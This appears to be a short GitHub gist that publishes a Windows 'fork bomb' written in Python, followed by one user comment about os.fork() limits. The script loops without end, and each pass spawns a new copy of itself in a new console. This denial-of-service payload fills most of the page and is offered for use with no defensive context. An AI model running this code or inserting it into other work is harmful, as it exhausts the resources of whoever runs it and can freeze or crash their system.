saleemrashid/forkbomb.py

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Windows "fork bomb" in Python

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forkbomb.py

	import subprocess, sys
	while True:
	subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

loudercake commented Jan 11, 2023

Actually os.fork() raises an exception if the number of forks is over 10000

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